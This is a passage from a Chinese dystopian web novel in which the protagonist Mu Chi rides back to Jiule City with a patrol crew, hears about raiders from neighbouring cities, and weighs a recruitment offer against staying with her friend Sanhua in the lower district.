穆炽将狗牌还给他,张口报出她现在居住的地方,确认齐苍记住后,才与其道别。
今天的收获太过出乎意料,她更像旁听了另一个人的故事,而非她自己的人生。
……难道,这是以前的她故意抹去自己记忆的目的?
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沿着轨道走到城南门口附近,穆炽远远看见有辆执勤车停在那里。
见到她过来,虎队长还按了两下喇叭示意。
“我还以为你真跑了,队长头一次等得这么耐心。”
勺右从敞开的厢门里探出脑袋。
穆炽笑了笑,“出了点意外。”走近以后,她才看见这辆车外壳出现了好几处坑洼,“这是?”
“返回的路上被逃亡者袭击了,他们需要武器补给品,否则在污染种遍布的死潮活不了多久。”
勺右让开厢门,方便穆炽进来。
那个之前昏过去的白卡也在,正瑟缩着蹲坐在角落里,浑身上下都是劫后余生的庆幸。
再有下次,打死他都不接出城的工作了!
车辆启动,他们再次回到永远下着雨的那座九乐城里。
“逃亡的人很多吗?”穆炽问。
“多,也不多,只是九乐城附近多一些。”
在后厢坐着也是无聊,勺右也乐得跟穆炽聊天。
“九乐城的南边就是自由城,再往南则是垃圾城,那两座城的城主不安分,居民更不安分,成天想着怎么干一票大的。”
能往返九乐城的,要么是基因工厂的运输车,要么是各种补给车,要么是他们这样的执勤车,要么是来消费的阔佬。
不论成功抢到了哪个,他们都不亏。
穆炽还记得,三花给她伪造的档案上,就写着她来自自由城。
当时还以为是离得远才这么写,这样就没人会去查证。
没想到距离竟然这么近。
“原来如此,”穆炽说,“那还确实挺麻烦的。”
“是吧,搞得隔壁部门那些人成天……咳咳,这个目前还是机密,暂时不能透露给你。”
勺右想起眼前这位可不是他的同事,只是招募来的临时工,赶紧刹住嘴。
“你要是答应队长的招募,加入我们,自然就会知道那些事情了。”想了想,他又补充了句,“我都想不出你有什么拒绝的理由,白卡能升到黄卡这种事情很稀有的,一年都不一定出一个。”
因为你们城主是背后捅了我一刀的叛徒之一,算吗。
穆炽心里默默吐槽一句,表面则不好意思笑了下,“我有个朋友,她带着孩子住在下城区。我不想丢下她们。”
“居然有孩子?自然生育吗?”勺右惊讶。
穆炽:“嗯。”
“哇,这可真是少见,我身边唯一见过选择自然生育后代的人是蒙冬呢,她攒了好久的钱。”勺右感慨道。
“那你更应该同意了,与其三个人都留在下城区吃苦,不如你先爬上来。”
——这句话,回来的穆炽从三花这里又听到了一次。
“我留在这里也没什么,”穆炽说,“下城区还是有点危险,我不放心你和蝴曈两个人在这。”
可能是她刚来半个月就遇到安老大那档子事,搞得她潜意识已经认定下城区很不安全。
再说,她这几个月通过游戏代打已经赚了很多,如果之后再参加完比赛,差不多就能攒够让她们都离开九乐城的钱了。
“哎呀,原来你这么舍不得我?”
三花那双漂亮的杏仁眼弯成了月牙,指尖一下一下轻戳着穆炽的脸——甚至整个上半身都娇娇软软地贴过来,蹭得穆炽都忍不住挺直了腰板。
“舍不得肯定是舍不得……”
一开口,感觉自己说话的气势都变弱了。
“哈哈哈哈哈!”
三花笑得格外愉快,但不打算真把穆炽留在下城区,“你还是快答应吧,我也心疼你陪我一起吃苦呢。”
“算不上吃苦,我以前还睡过比这里更糟糕的地方。”穆炽认真道。
“嗯嗯?有多糟糕?”三花好奇。
“就是一觉醒来发现洪水从自己脚边淌过,转头还跟毒蛇大眼瞪小眼的那种糟糕吧。”
穆炽回忆起自己最惊险的一次野外考察,那真是差点连小命都丢掉。
“——不过,我想到该怎么办了。”